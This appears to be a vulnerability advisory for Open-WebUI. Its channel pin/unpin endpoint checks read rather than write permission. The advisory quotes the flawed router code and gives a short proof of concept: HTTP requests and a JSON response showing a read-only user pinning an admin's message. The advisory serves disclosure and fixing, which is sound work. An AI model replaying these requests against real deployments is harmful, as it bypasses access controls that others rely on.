PT-2026-59349 · Pypi · Open-Webui

Publicado

2026-07-13

·

Atualizado

2026-07-13

CVSS v3.1

4.3

Média

VetorAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary

Pin/Unpin is a write operation (modifies the message's is pinned , pinned by, pinned at fields), but in standard channels it only checks read permission, allowing users with read-only access to pin/unpin any message.

Details

@router.post('/{id}/messages/{message id}/pin', response model=Optional[MessageUserResponse])
async def pin channel message(
  request: Request,
  id: str,
  message id: str,
  form data: PinMessageForm,
  user=Depends(get verified user),
  db: Session = Depends(get session),
):
  check channels access(request)
  channel = Channels.get channel by id(id, db=db)
  if not channel:
    raise HTTPException(status code=status.HTTP 404 NOT FOUND, detail=ERROR MESSAGES.NOT FOUND)

  if channel.type in ['group', 'dm']:
    if not Channels.is user channel member(channel.id, user.id, db=db):
      raise HTTPException(status code=status.HTTP 403 FORBIDDEN, detail=ERROR MESSAGES.DEFAULT())
  else:
    if user.role != 'admin' and not channel has access(user.id, channel, permission='read', db=db):
      raise HTTPException(status code=status.HTTP 403 FORBIDDEN, detail=ERROR MESSAGES.DEFAULT())
The channel has access function https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open webui/routers/channels.py#L75 checks user permissions against the AccessGrants table:
def channel has access(
  user id: str,
  channel: ChannelModel,
  permission: str = 'read', # 'read' or 'write'
  strict: bool = True,
  db: Optional[Session] = None,
) -> bool:
  if AccessGrants.has access(
    user id=user id,
    resource type='channel',
    resource id=channel.id,
    permission=permission,
    db=db,
  ):
    return True
  # ...
The AccessGrant table distinguishes between read and write permission levels.

PoC

admin creates Standard Channel with Read-Only Access for test1 :
POST /api/v1/channels/create
Authorization: 
Content-Type: application/json

{
 "name": "pin-test-standard",
 "access grants": [
  {
   "principal type": "user",
   "principal id": "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c",
   "permission": "read"
  }
 ]
}
admin posts a Message in the Channel, and test1 has read permission only. image
test1 attempts to Pin Message:
POST /api/v1/channels/0699b656-578f-4976-94b0-65e2b19752fd/messages/4797359b-aad5-4081-9617-e8ca58524a87/pin
Authorization: Bearer <test1 token>
Content-Type: application/json

{
 "is pinned": true
}
{
 "id": "4797359b-aad5-4081-9617-e8ca58524a87",
 "user id": "28c859b7-84e2-4217-b4d7-3f0e43f7c4b9",
 "is pinned": true,
 "pinned by": "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c",
 "pinned at": 1774716314908288719,
 "content": "Admin announcement in standard channel - test1 should NOT be able to pin this"
}
Successfully pinned admin's message. pinned by records test1's user ID. image
test1 (Read-Only) can alse Unpin Message. The Pin/Unpin endpoint in standard channels only checks read permission, allowing read-only users to pin/unpin any message.

Impact

Read-only users can pin irrelevant messages, disrupting important information display in the channel .

Recommended Fix

Change the Pin endpoint's permission check from read to write .

Correção

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Identificadores relacionados

PYSEC-2026-2705

Produtos afetados

Open-Webui